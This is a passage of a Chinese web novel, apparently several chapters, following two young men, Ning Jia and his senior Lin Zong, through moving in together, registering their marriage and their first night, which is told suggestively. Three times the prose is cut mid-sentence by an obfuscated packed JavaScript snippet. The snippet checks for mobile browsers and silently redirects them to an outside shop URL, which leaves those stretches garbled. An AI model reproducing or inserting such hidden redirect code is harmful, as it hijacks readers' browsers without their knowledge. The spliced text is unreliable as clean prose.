江软叹了口气:“我还没有屈服于世俗呢,你怎么就踏进婚姻的坟墓了?” 说着忽然反应过来,瞪大眼睛:“所以你现在搬家是?” 宁嘉把行李箱扣好,立起来:“搬去和学长住。” 江软窒息,千言万语,只有一声:“哎。”怎么想的呢。 其实宁嘉也很好奇林纵是怎么想的,就这么突然地邀请他同居。 昨天林纵问出那句话的时候,宁嘉没有立马回答,反而因为惊讶,有几秒钟怔愣:“为什么啊。” 林纵的手抚在宁嘉颈侧,拇指揩掉上面不知道什么时候溅上去的雨水:“不是说要结婚吗?” 宁嘉愣愣地感受着林纵的行为,没结婚呢,怎么就耍起流氓了。 林纵问:“结婚不同居,你在耍流氓?” 宁嘉:“???” 因为不想耍流氓,宁嘉就这么同意了林纵的邀请:“好吧。” 但林纵也没说什么时候搬家啊! 今天早上就这么突然过来了!大清早就过来了!啊! 宁嘉拎着行李箱在小区里慢慢地滑,绕过了两个不大的水坑,被树叶上的落水打湿了半边肩膀,晃了快十分钟才走到大门口。 呵,宁嘉忘了,大门外有个类似于王子下城堡的环形长梯,他还得背着行李箱像个仆从似的往下艰难爬行。 林纵靠在车窗边,见门上那点人影真要一个人扛着行李箱走下来,这才不紧不慢走过去:“怎么不让我帮你?” 宁嘉的眼睛和看到神仙似的,亮晶晶的,有一瞬间能够点亮黑夜的能力,笑着说:“其实没有那么重。” 宁嘉说的是实话,那天过来,他也是自己扛着行李箱上来的,没有觉得这条阶梯有多长多高,可能是还没有睡醒,才会觉得台阶长的吓人,真不行直接把行李箱推下去都行,哪有那么多麻烦事。 林纵从他手里接过行李箱轻松地往下走,重其实真的没有很重,笔记本电脑加键盘,衣服和几本书,看宁嘉这么找补,林纵想了想,体贴地说:“你这个身高提着确实会比较累。” “?”宁嘉脚下一空,差点带着林纵一起翻下台阶。 “我矮?”他趴在林纵稳如泰山的背上,一时不想起来,“我有178!很矮?学长你自己长得高不能拿这个身高要求别人对吧?从来没人说过我矮的!” 从小到大,宁嘉已经很努力了,因为少了2厘米达不到一米八的目标,身高这件事成了他毕生的痛,说他穷可以但是不能说他矮,再说了少了2厘米怎么就矮了?! 林纵的背在抖,似乎是挺严肃的场合,却被宁嘉的过分亲密的姿势,与宁嘉强调中带着懊恼和计较的语气引起发笑。 “嗯,我知道了,我没说你矮。” “你还没有,”宁嘉都被气笑了,往林纵脖子上挂,“你高,你背我下去。” 林纵突然没了动静,也不笑了,后背平稳,慢慢直起了腰。 宁嘉后知后觉反应过来,和林纵过分亲昵之后,他都忘了这个人是林纵了,有时候男生之间就这么玩,勒个脖子往身上跳,但这是林纵啊,他的学长。 “......” 宁嘉默默松开了手,站直,清清嗓子:“不好意思,学长。” “嗯,”林纵提着行李箱下去了,宁嘉走到他身边的时候,突然又说,“真没说你矮。” 宁嘉气得一哽:“好的好的,别说了,求求你了。” 车开到一半,又开始下雨,雨水拍打着窗玻璃,模糊了视线。街景渐渐熟悉,宁嘉有点意外:“学长,你开错路了吗?” 让宁嘉熟悉的原因是,这是通向许诗瑶住所的方向,这几年来过这么多回,周边几条路宁嘉都熟悉到不行,而林纵住的地方偏远,离这里明显有一段距离,如果宁嘉方向感没有错的话,可能方向都是不对的。 刚好红绿灯,林纵停下车,宁嘉以为林纵真的是开错路了,刚想笑,林纵便说:“没开错,我在这里有一套房子,没有住过的。” “但是你不是不住这里吗?”这话说出来的意思好像是很想要和林纵同居的样子,宁嘉又闭了嘴。 林纵偏过头神情放松但没什么笑意:“你不熟悉那里,你不自在,我们不住那里。” 宁嘉显然没懂这话是什么意思。 “我在景苑住了六年,对那边很熟悉,搬去那边的话对你不公平。” 宁嘉还是不理解,苍白地辩驳:“不会的。” “你和我一起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12783126|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生活,搬到我熟悉的地方,那边对你来说却像是新的开始,这会让我们有感觉上的差异,毕竟对我而言什么都没有变,只有你在适应。” 绿灯,林纵汇入车流:“所以我说这对你来说不公平。现在要去的那套房子我也没有去过,我们搬过去,我可以和你一起适应。” 多少会有这样的感觉,但是并不强烈,这几年间宁嘉来到予市的时候,陪着许诗瑶和吴良仁吃饭的时候,他其实都会有这样的感觉,在陌生的地方做着他不擅长的事,他很不自在。 只不过那种感觉很短暂,每次会被宁嘉用“反正马上就要回家”的理由安慰自己。 因为林纵的话,他似乎才意识到,他会在予市有个新的长久的开始,可能会和林纵在一起生活很久,今天早上,明天早上,下一周早上,以及下个月的早上他们可能都会在一起,生活在同一间房子里,打开水龙头的时候,找电源开关的时候,他们会同样因为环境陌生而不适应。 这样,好像就没有那么不容易接受了,他要接受一个新的开始。 房子是林平生给林纵买的,以林纵的性格,闻凯以为他会不要,可林纵却说:“他要给我,我不会不要,我没有那么高尚。” 说是这么说,这栋房子林纵却一直来过,连定期打扫都是林平生安排的,昨天下午,林纵才临时决定请人仔细打扫一次房子,今天也是第一次过来。 林纵让宁嘉自己去看,挑一个房间,而宁嘉的视线还停留在屋外,好大一个院子,持续震惊:“学长,我们真的要住在这里吗?” 先前录入了个人信息,林纵这会儿把钥匙随意地丢到玄关处:“嗯,不要钱的,不住白不住。” 他这样轻佻的语气让宁嘉自在不少。 样板房似的装修,缺少了生活必需品,林纵说卧室在二楼,宁嘉探头看了两间,感觉都差不多,行李箱就随意推进其中一间。 两人围着房子里里外外转了一圈,中午一块出去吃了饭,然后把家里需要的东西补齐,购物车里的东西塞得满满当当,后续会直接送货上门,看着算账台的数字持续增加,宁嘉没眼看地别过脸:“实在不是很懂你们有钱人的世界。” 林纵笑了笑。 习惯了江软的花钱,也非常识相地认识到自己钱包有多空,所以虽然是宁嘉问的林纵,可不可以结婚,但是宁嘉没有钱,真的没有钱,他给不起聘礼,唯一的嫁妆就是自己。 宁嘉长叹一口气。 晚上,宁嘉一个人睡在他一千多平的独栋大别墅里,长夜漫漫,空气中带着渗人的气息。宁嘉缠着江软陪他通常吃鸡,江软问来地址给宁嘉和自己各买了炸鸡:“不管吃不吃鸡,先吃再说。” 宁嘉笑死,直到第二天天亮才放开江软去睡觉。 林纵把行李搬进宁嘉房间的时候,宁嘉还没醒,不对,应该说毫无动静,五点才睡,现在正是深度睡眠的时候。 别墅里房间很少,但每间能住人的房间都很大,宁嘉挑的那间和隔壁那间都带了很大一个衣帽间,宁嘉带来的几件短袖只堪堪挂在了角落里,就算林纵把带来的衣服挂进去,衣柜也还是空。 宁嘉一觉醒来就惊呆了,多了个人不说,房间里摆了不少不属于他的个人物品,最让他惊讶的是坐在沙发上正不动声色看着他的林纵,宁嘉捂紧被子,强忍住没有像电视剧里的女主一样检查自己,磕磕绊绊的声音还是出卖了他:“......学长,你,你怎么在这里?” 林纵昨天只是让宁嘉选一间房间住,并没有说他不和宁嘉一起住:“我为什么不在这里?” 这让人醒了脑子还没醒的宁嘉怎么回。 宁嘉睡醒都快下午了,坐在车里和林纵抱怨:“我都不敢睡觉,太渗人了。” 林纵很轻地笑了下:“太久没有人住了,气味是会不好太闻。” 宁嘉崩溃:“房子也太大了啊。” 林纵说:“我晚上搬过来住。” 宁嘉:“......倒不是这个意思。” “我是这个意思,”车还是慢慢往前开,林纵说话的语调也不快,“说好了一起住,让你一个人失眠不太好。” 这是什么虎狼之词! 宁嘉再也不敢说话了,临下车,安全带“嘭”一声弹开,林纵声音轻飘飘地说:“明天去领证。” 宁嘉下车的脚步一顿,讪笑:“这么着急呢?” 林纵似笑非笑地说:“今天周日。” 如果可以他会更着急一点。 宁嘉忽然想起江软对他的劝告:“你不觉得林纵很可怕吗?” 不,没有!学长最好了! 18. 第 18 章 晚上,宁嘉还是睡不着,从床上下来去衣帽间逛了逛,今天陪林纵回了几趟家,搬家公司一次性可以解决的事,两个人都没有想到这一点,反而不紧不慢地来回开车。 林纵现在住的房子也很简单,除了必要的个人物品其实也像个随意等待被展览的空壳,林纵是临时收拾的东西,一点都不着急的样子,宁嘉帮不上什么忙,就在林纵不打算住的房子里溜达,脚步悠哉,像在公园里闲逛。 宁嘉看上了阳台里的一颗柠檬树,有点滑稽地抱起来,抱到在收拾房间的林纵面前,耍赖不撒手:“学长,我要这个。” 那树还是林纵有一天心血来潮种的,没怎么管,等着枯萎的时候连盆栽一起收拾掉,无人关顾,竟然也好好发芽长大了,有段时间还结出了果子,是颗很固执的柠檬树:“喜欢就带上。” 于是宁嘉很开心。 怕开车路上颠簸,宁嘉把柠檬树抱在身前,汽车刹车的时候跟着惯性和树一起往前倒,这个时候林纵就会笑,很随心的,只是因为看到的引他发笑的画面,那样的笑容让宁嘉看得晃了神。 宁嘉的衣服都在岩市,大学时衣柜小,夏天的衣服带回去,冬天的衣服带回来,一年四季来回更换,岩市的那间房子里总会留下他生活过的痕迹。 这次宁嘉出来的匆忙,比毕业那次迷茫得多,他没想过会回不去,但原来真的会回不去。 衣帽间里林纵的衣服也不多,因为宁嘉的衣服太少了,所以即便他来来回回开了好几趟车,装得最多的只有几件应季的长得差不多的白衬衫,还有一些皮带腕表,其实都是宁嘉这个年纪碰不上的东西。 睡不着的原因也有点奇怪,昨天房间太空了,宁嘉一个人睡是真得有点怕,但今天的房间里渐渐多了很多林纵的个人物品,而且林纵说了,晚上会过来睡。 可不知道为什么,吃过晚饭没多久,林纵把宁嘉送回家之后就说要走,没有说要回来,也没有说要去做什么。 这里一点都不像宁嘉从小到大生活的环境,就算家里经济最好的那一段时间,宁嘉也没有住过这么好的房子。 房间很新,家具也很新,就算被打扫过空气中还是有很浓的新漆味和就散不去的粉尘味。 宁嘉其实一点都不想待在这里,有点想问林纵干什么去了,又觉得这样的问话很怪,就像那时候问林纵喜不喜欢猫一样,都是很隐晦又很直白的话。 在床上翻来覆去半天,后半夜的时候,宁嘉才渐渐睡着。 不知道过了多久,床侧微微凹陷,像是躺一个人进来的,后来宁嘉被那个人揽进怀里,慢慢醒过来得时候,却觉得是梦了。 “学长。”以为抓着的是被角,宁嘉小声呢喃一声。 林纵拍了拍宁嘉的背,知道他这个时候没清醒,也没想让他醒:“嗯,睡吧。” 直到第二天上午,宁嘉被林纵从床上抓着坐起来,动作像在揪着一只睡懒觉的猫,才后知后觉地反应过来:“昨天不是梦啊。” 林纵拎小猫似的,揪着他的腋下把他从床上拖抱起来:“你想是梦吗?” 宁嘉迷迷糊糊被林纵往浴室带,人是不清醒的,但也知道林纵是林纵不是梦,可又不明白他此刻的放松是因为什么。 十几分钟后,宁嘉才彻底醒过来,因为林纵说:“脱衣服。” 宁嘉连忙护住自己,像个良家妇女:“干什么!” 林纵丢给他一套新衣服:“去领证。” 宁嘉:“......” 啊啊啊,我想再睡一会儿。 高中毕业后,家里的户口本一直是交给宁嘉保管的,户主那页写着注销,第二页的主人不需要这本东西,只有宁嘉把它带在身边,实际上也没有大的用处。 这个世界上好像没有人需要它去证明什么,一本户口本上印着的、在法律上规定的一家人,并没有人对此感到好奇,许诗瑶也不需要这个身份。 但人在极其脆弱的时候,或是需要跳出原来的生活去做新的选择的时候,这本东西又好像十分重要。 本来,宁嘉把它带在身边是以为许诗瑶会需要,医院这个地方好像特别无情,再亲密的东西也不敌一张法律的纸,但它最后没有被用到。 重要的是其实没有想过,所以就算林纵说了,宁嘉也没有当真过。 藏在衣帽间的行李箱被翻出来,夹层里的户口本最后被交到林纵手上:“学长。” “嗯。”林纵忽然抱了他一下,把宁嘉整个人圈在他怀里,“别害怕。” 大概是青春期那几年都在颠簸,虽然基因里该有的身高宁嘉都长了,但骨头被比一般男生纤细一点,像是那些年宁父对妻子和儿子犯下的罪证。 被一个人抱在怀里的感觉也很怪,因为太温暖了。 这样的季节宁嘉应该要觉得热的,然后笑着把林纵推开,但林纵的怀抱偏偏是温暖的,在夏天里带着一反常态的适宜温度。 如果不匆忙的话,结婚证里的照片应该提前在照相馆拍好,这样照片里的两个人表情会更自然一点,无法掩饰的匆忙和局促甚至从结婚证的红底照片里流露出来。 不过林纵还是很满意,他把盖着钢章的证书交给宁嘉,宁嘉微微打了个颤,慢慢打开了看,心跳慢慢加快了。 其实也没有那么怪,虽然宁嘉从来也没有想过有一天他的名字会和林纵放在一起,照片里林纵很帅,但宁嘉觉得自己不遑多让。 “好看。”宁嘉看得投入,林纵在这个时候突然说。 宁嘉还没抬头,人先笑了:“夸我还是夸你?” 林纵笑说:“夸你。” 从早上到现在,说不清原因又一直萦绕着的不安的情绪忽然就散了,宁嘉眼睛亮亮地看着林纵:“真的吗?” 林纵很轻地揉着宁嘉的头发,把他带出去:“真的,大学时追你的女生没有告诉过你吗?” 结婚证都领了,怎么还扯这个,宁嘉唰一下红了脸:“学长,你怎么知道。” 其实不止是女生,男生也是有的,女孩子的心意珍贵,宁嘉都好好拒绝了,每次都会不好意思,但又拒绝的很认真,久而久之,像是故意为了看宁嘉脸红,来找宁嘉表白的女生反而更多了。 男生就不一样了,一字诗是“滚”,超过一个字就容易打架。 不过宁嘉长得好看的公认的事实,大多数时候性格开朗像个明媚的小太阳,一年四季都讨人喜欢。 这两天两人都是在外面吃饭,在吃的方面林纵已经不太让宁嘉做主了,辛苦助理,上班要安排工作就算了,还要替林总谈恋爱。 林总上午领证,下午还要赶去公司上班,中午和宁嘉吃完饭要先把人送回家再去公司。 宁嘉感觉自己像个包袱,被林纵挂在身上带来带去,挺不好意思地:“我可以自己打车回去的。” 而且林纵的公司远,来来回回太麻烦了。 当年在学校,大二竞选部长的时候,宁嘉没有报名,大学生活让他变得松散,要真选上就是“德”不配位,他也不是不懂这个道理。 那个时候林纵却亲自打了电话问他:“今天竞选部长怎么没有过来。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12821612|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 当初就是林纵让宁嘉参加的学生会,但宁嘉没有好好把握,觉得对不起林纵:“还是不去了吧。” 电话那头的林纵语气平淡,听不出情绪:“为什么。” 拿着手机的手心出了层薄汗,背上也发热,宁嘉轻声说:“我太久没去了,不好意思去了。” 宁嘉其实是懂得,但他比同龄人纯粹,好坏对他来说都太容易了。 同样的事情,林纵不会让它发生第二次:“我可以送你回去,为什么要打车?” “怕你觉得麻烦。” “不麻烦,”林纵看着他,用和当年一样的语气和神情,“我可以做的事情,你不用找别人。” “也不是这么说的。”宁嘉还是想据理力争一下。 “来回油费贵。” “你开车也累。” “上班还要赶时间。” “休息时间也没有了。” 宁嘉的饭已经吃完了,他饭量其实不算大,但话是真的能说。 林纵把他拎起来:“走了。” 最近没睡好,白天也一直在忙,周一下午好不容易闲下来,宁嘉一睡就睡得有点晚。 这两天积攒了一些工作,林纵还在公司加班,结束后还要去闻凯那边一趟,等到所有事情办完再回到家,夜都深了。 宁嘉没有等到林纵也没有打电话去问,等到该睡觉的时间点便照常去浴室洗漱。 一个人住习惯了,洗漱完,穿着件宽松的睡衣就从浴室里出来,露出一双长直的腿。 这个时候林纵刚好推开了房间的门。 宁嘉回头看见人都懵了。 在“大家都是男的有什么关系”和“我今天好像刚和这个人结婚”之间犹豫了两秒,宁嘉飞快跑上了床,被子从头到尾把他盖了个严实。 等到林纵洗完澡出来,两米长的床突然就变得拥挤,连停顿都没有,很熟练地掀开宁嘉的“遮羞布”,就这么躺了进来。 宁嘉:“......” 昨晚宁嘉好歹是睡着的,对于床上多出一个人的行为一直没有实感,也不知道这么躺进来一个人竟然是件挺暧昧的事。 心脏不受控制地砰砰跳动,再快一点,他这肉体凡胎就要藏不住这样快的节奏了。 “在想什么?”静谧的,可以感受到彼此呼吸的夜晚,林纵这样问。 宁嘉停止的呼吸都在心跳中加快着,他不敢回答。 这个时候,林纵直起身,突如其来的动静让宁嘉闭上了眼睛。 明知道那道视线落下脸上没动,宁嘉却不敢睁眼。 像是一个信号,至少林纵是这么认为的。 因为夜色朦胧,做什么都显得顺理成章。 毫无征兆地,林纵在宁嘉唇上亲了一下,温热的触感转瞬即逝。 宁嘉在那一刻紧闭双眼,睫毛紧张地抖个不停。 思绪纷乱:他为什么要亲我?原来亲吻是这种感觉。 许久后睁开眼,林纵果然还是那样的位置,眼睛一眨不眨地看着宁嘉,宁嘉没能躲掉。 林纵的眼神其实是很平静的,但宁嘉藏在被子里的拳头却很用力的握紧着,他不敢碰,不敢知道此刻不受控制的心脏在多么病态的极速跳动。 头顶灯光明亮,连同着眼前的人照得他头昏目眩。 似乎是过了很久,也可能只是一个瞬间,宁嘉壮士断腕般的勇气可能转瞬便即逝,连他自己也想在抓紧。 在林纵的注视中,宁嘉再次闭上眼睛:“学长,你能不能,关一下灯。” 19. 第 19 章 卧室在片刻间陷入黑暗,要适应一会儿,才能感受到窗帘缝隙里传进来的,不明显的光亮。 林纵想起,今晚下班回家时,透过车窗看到远处夜空中隐约的圆月,明亮皎洁地挂在空中。 一年一年过得总是格外得快,按照农历的日子来算,再过半个月,这一年时间也要过半了。 林纵是该问的。 因为时间过得太快了,就像宁嘉挂在嘴边的,一声又一声的学长,这其实是他们之间唯一的联系。 但林纵想要很久了,握在手里都怕丢,他患得患失,也曾经尝试过要给宁嘉自由。 可宁嘉就这么在他眼前,一副任君采撷的模样,林纵从来都不是君子,想要就自己拿,用尽手段。 最容易得到的对林纵而言像是一场梦,那都是梦了,还让他怎么好好当人,按部就班地像旁人一样循规蹈矩慢条斯理地等待很久,他做不到了。 房间里那一点光亮成了蛊惑,像在引诱,不动声色地拽着人深陷其中。没关系的,像是在这么说的,抖动的睫毛像是蝴蝶的翅膀,在暗夜里翩翩起舞。 林纵很轻地吻过去,柔软相触,声音像从喉咙里溢出,在暗夜中带着暧昧,模糊不清的声响:“宁嘉。” 蝴蝶的触角勾住了林纵的手,轻轻的,像他的翅膀一样,害怕的,犹豫的,最终却停了下来。 结婚前并没有和林纵说过这个婚姻的标准是什么,应该做什么,不应该做什么,以至于林纵躺在宁嘉身边的时候,来自旁人的气息和温度靠近的时候,宁嘉的脑子一下就空了,什么都想不起来,驱使他的,是当下最原始的本能。 连对错都忘了分清。 关于宁嘉挑食这件事,两人曾经讨论过,那次林纵问宁嘉最喜欢吃什么。 谈话间宁嘉已经吃到半饱,他并不是口腹欲不重的人,相反吃到好吃的东西总是能轻而易举地让他开心,笑意明显。 宁嘉支着下巴,懒懒地笑了下,像只刚午睡醒的猫:“我说不出来,但是肚子饿的时候,大部分东西其实都挺好吃的。” 林纵也深知这个道理。 他并不是不饿,但在享用的过程中尽可能延长了饥饿的感觉,反复磋磨,芬香,美味,靠近,远离,极尽拉扯,因为想要,所以无师自通。 夜很深了,大概是明天又要下雨,所以起了风,树欲静而风不止,听着窗外的风声,宁嘉整个人都不太好。 声音里带着崩溃,推拒得力不从心:“学长,我......你别,” 因为从来没有感受过,所以不知道这些事情能带来的刺.激这么大,宁嘉觉得自己像是喝了酒,可因为过敏,他已经很久没有醉过了。 对宁嘉的言语无动于衷,林纵亲了亲宁嘉的嘴唇,直起身,从床头柜里拿出来了两样东西。 房间里暗得看不清,但宁嘉也不是真傻,他隐约猜到了,又觉得难以置信:“什么时候放在这里的。” 这两天在家里待最久的是宁嘉,但是为什么他一点都不知道。 “嗯。”林纵根本不想回答宁嘉的问题。 吃巧克力之前要先撕开包装,虽然品种不同,但宁嘉没有听出太大差别,闭不闭眼没有太大差别,宁嘉却觉得自己在脸红,应该很红,他脸颊发烫,身上跟着热起来。 某一瞬间,宁嘉觉得自己就像那颗巧克力,因为温度太高,不得已要慢慢融化。 宁嘉反应很慢地很慢地想到了江软曾经说过的话——那个不要脸的老男人,他看上了你的屁股! 不是的,不是的,宁嘉摇着头意识模糊地反驳,林纵一点都不老。 宁嘉突然控制不住地抖动了一下,他抓着林纵的手,是想要反抗的,又想到江软的话,后知后觉地继续反驳,林纵应该,应该没有看上他的屁股。 后半夜房间里的那点光亮一直没散,被映出的影子像是在宁嘉眼前,又像在墙上,似乎哪里都看得到,晃晃荡荡,带着偶尔失控的频率。 不知道江软现在在干什么,估计已经睡了。 不过宁嘉这会儿也没有条件,不然一定要告诉江软他的屁股现在有点疼,哦对了,他还是秉持着他的原则,这不是林纵的错。 “在走神?”林纵凉凉地问。 “......没有。”宁嘉急切地辩白。 但其实回答根本不重要,林纵也没有想听。 林纵吻上宁嘉的唇,手按在他的喉结,林纵吻得很深,舌头扫过上颚,又抵达深喉,宁嘉连回答的机会都没有,只觉得喘不过气,喉结不自觉动了动,滑过林纵的指腹。 林纵却在这样的回馈里找到乐趣。 领了结婚证不算,要被拥有被侵犯被占有,在宁嘉身上打上林纵的名字,林纵才会有被属于的感觉。 这一晚的夜,格外漫长,风声起起落落。 予市夏季的雨大多数时候伴随着台风,今年算个意外,傍晚时宁嘉看过天气预报,好像是有台风要过来,无论是过境又或是留在这里,总会有不止一场的暴风雨。 第二天早上,前一天刚结婚的林总猝不及防请了婚假,助理摸不到头脑,跟着指示把林纵要的文件送到了短信上的地址。 林纵难得没穿衬衫,接通电话,又等了一会儿,助理看见才二十四岁的林纵穿着一身休闲服从家里出来。 男人的面貌从来不会被白衬衫掩盖,但太过工整的东西有时候像是贯会粉饰太平的假象,助理到现在才明白林纵才二十四岁,那些雷厉风行的操控都来自眼前这个过分年轻的男人手中。 “辛苦了。”接过文件的时候,林纵说。 助理鞠了个躬,也不知道为什么要这么表达“不客气”,因为这栋房子太大了,是这辈子都和他没有缘分的东西,多看了两眼又多问了两句:“林总,你怎么搬家了啊。” 林纵神色淡然地看着他:“结婚了想换个大一点的房子。” 第二次听到这个消息的助理还是觉得惊悚,眼珠子都不乱瞟了,又鞠了个躬,速度很快地跑了。 回房间的时候,宁嘉还趴在床上睡,眼尾有不明显的红,昨天晚上哭得太惨了。其实宁嘉不怎么挣扎,无论是疼还是爽都只会喊学长,那两个字从他嘴里用各种语调说出口,清醒时林纵反复咀嚼着这两个字,心里说不清是什么感觉。 宁嘉睡醒是中午了,被手机铃声吵醒,下意识翻了个身,紧接着是一声凄惨地嚎叫:“嗷——” “怎么了?”林纵放下电脑走过去。 天光大亮,林纵衣衫工整,像个正人君子朝宁嘉走过来,让宁嘉怀疑昨晚发生的事情只是一场梦。 “疼。”宁嘉张着破锣嗓,半天就吐出一个字,他皱着眉,因为睡眠被打断,心情和身体都很糟糕,而手机还在响。 床头柜上有提前准备好的温水,林纵端给宁嘉,喝了水,宁嘉眉头上的结才散了一点。 电话自动挂断,林纵把手机也拿给宁嘉,未接来电是许诗瑶的,宁嘉点了回拨,这几天他一直没有联系他妈,不知道要说什么,也很怕许诗瑶再说出一番要死不活的理论。 “嘉嘉,中午和我一起吃饭吧。”听起来许诗瑶的心情很不错。 “晚上吧。”宁嘉坐得很不舒服,挪了挪屁股,眉头皱得更深了。 “嗓子怎么了?不舒服。” “没有。” 电话那头犹豫了一会儿,轻声说:“要晚上是吗,我再问问呢。” 这个时候宁嘉一点都不想听到吴良仁的事情,他起床气一直挺严重,睡不好的时候更甚,敷衍了两句很快挂了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12915797|132192||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 电话,喝完的水杯被林纵拿走了,翻了个身往床上一趴,一句话都没有和林纵说。 水杯放回床头柜上发出很轻的碰撞声,看着宁嘉的后脑勺,林纵无声地笑了笑。 宁嘉再醒过来是下午四点,这次是被林纵调成的手机吵醒的,不过他本来也快醒了,所以醒过来也没那么生气,动弹得艰难了一点,胜在年轻力壮,没什么大问题。 林纵本来想出去接的,看宁嘉醒了,便站在房间门口,有一点距离,但宁嘉感受到了林纵的注视,还有他平淡的一声“嗯”。 床头柜上有准备好的水,宁嘉拿过来喝了,林纵打完电话后过来,动作自然地摸了摸宁嘉的额头,搞得宁嘉有点不自在:“学长,你是不是没有去上班。” “嗯。”林纵是看着宁嘉回答的,一模一样的字眼,但好像就是不太一样。 宁嘉的嗓子还是挺难受:“那怎么不去啊。” 林纵说:“怕你不舒服。” 躲开了林纵的视线,宁嘉也只是:“嗯。” 宁嘉没问林纵为什么,他也没问自己,好像这是男人在某个不受控制的时候做出的本能选择,毕竟男人就是这样的生物,脑子太过理智,下半身就容易不受控制。 林纵也体贴地没再提起:“还困吗?” “还好,我想再趴一下。”宁嘉说着又趴了回去。 林纵也躺到了床上,就在宁嘉旁边,一睁眼就可以看见林纵放大版的脸。 睡过和没睡过果然还是不太一样,被子里的手稀稀疏疏地摸过心脏的位置,感受到跳动的力度,宁嘉了然地想,难怪这世上渣男这么多,睡一睡,感觉不就这么来了吗? “学长,你早上起很早吗?”不想提的话总会因为正常不过的问题被提起。 林纵闭着眼像是真的准备睡觉的样子:“挺早的。” 刚刚在沙发上看到了办公的电脑和文件,宁嘉小声说:“你很困吗?” 林纵说:“有点。” “那中午怎么不睡?”宁嘉超小声。 察觉到他语气里的不自然,林纵睁开眼,偏过头看他,眼里眉间都带着揶揄的笑:“怕吵到你。”怕你不高兴。 也不是没有和宁嘉一起睡过,林纵还是第一次知道,宁嘉的起床气有这么大,何况他昨天晚上确实折腾人了,宁嘉只是想睡觉而已,而林纵想离他近一点。 宁嘉闹了个大脸红,也不好意思问林纵怎么不去别的房间睡了。这两天在家里逛过,除了这个房间,其他房间里的床铺都是空的,林纵好像没准备让别人来做客,也没有和宁嘉分房睡的打算。 被林纵的眼神盯得不自在起来,宁嘉最后叹了口气:“哎。” 林纵被逗笑了,转而说起了正事:“晚上要和家里一起吃个饭。” 宁嘉是真没反应过来:“哪个家?” 林纵顿了顿,其实也知道一点,林平生提过,语气里带着不屑,宁嘉和吴家那点关系,从宁嘉几次的反应也可以出来,他应该也不想和吴家甚至和林纵扯上关系的。 至于最后为什么走到这一步,林纵没有问,也觉得没有必要深究,终归是人与人之间无法言说的痛。 只是极尽委婉地回答:“我爸还有你妈妈他们。” 宁嘉眼睛里睡饱时的那点灵动就这么散了,他不知道自己现在的表情和林纵刚刚接到林平生时的模样一样,那种不甘心和身不由己给了林纵一种他们可能是同类人的错觉。 “好的,”宁嘉闭上眼,短暂地想要逃避那些是非,其实也没有那么在意,他说,“那我们再睡一下,睡醒再去吃好吃的。” 林纵把他往怀里搂了搂,温暖又宽大的掌心探进衣角覆在他微凉的腰上。宁嘉无法克制地抖了抖,然后一声不吭地,往林纵怀里钻。 20. 第 20 章 傍晚,宁嘉神清气爽地从床上起来,打开窗户,呼吸大自然清新的热气,空调从房间里散出去,和被打开的卧室门形成一条简短的气流,卧室里的旖旎的浊气渐渐散去。 宁嘉的脑子也终于醒了,想起来要问:“学长,他们是知道我们结婚了吗?” 昨天才领的证,怎么就知道了。 林纵正在穿衣服,一身姣好的皮肉渐渐被藏起来,看出了宁嘉脸上的疑问,随口说:“户口本在我爸那里。” 林纵前天晚上回来得晚,除了处理工作外,还因为要见林平生,漆黑又静谧的夜晚,他独自在车里沉默许久。 “哦。”宁嘉点点头,不是很在意。 这语气惹得林纵回头去看,在卧室里溜达了一圈过后,宁嘉又坐回了床上,离约定的吃饭时间已经不早了,按理说他们收拾收拾就该出门,宁嘉没有一点要准备的意思。 事实上林纵是个时间观念很强的人,生意场上的一贯定律是不早到也不迟到,和林平生见面对他而言就是交易的过程,双方能给出什么又能得到什么,他们彼此都心知肚明。 故意迟到,对林纵而言很新鲜,他坐到宁嘉旁边握住了他的手,很自然地把手背递到嘴前亲了一口,宁嘉瞬间红了脸,呆愣地看着林纵,不知道这是在干什么。 “怎么了?”林纵还笑着,若无其事地问他。 问得好,我还想问问你在做什么。 宁嘉抽回手,倒不是不高兴,但就是板着脸,自以为硬邦邦的表情可以很好地掩饰情绪,睁大眼睛瞪着,抿着唇,不闪不躲地看着林纵:“我不喜欢吴良仁。” 林纵知道宁嘉说的是谁:“嗯。” 宁嘉盯着他,手心攥紧,眼里是明显的恨:“我才二十二岁,人生才刚刚开始,我刚毕业马上就要能拿到八千的工资了,惦记了半年的餐厅还没有去吃,最近还想买一辆小毛驴,我的猫马上要过九个月的生日了,同事还说天气热起来要一起去漂流。” 这些都是宁嘉很简单的却想了很久的生活,他的人生本该是这样的,庸俗无聊按部就班,婚姻的快捷键不应该在这个时候按下来,更不应该因为别人被迫加快了人生的进度。 宁嘉很不甘心,这与和他结婚的对象是谁没有关系,但他不喜欢吴良仁,甚至很讨厌,但许诗瑶很喜欢,也可能是爱。 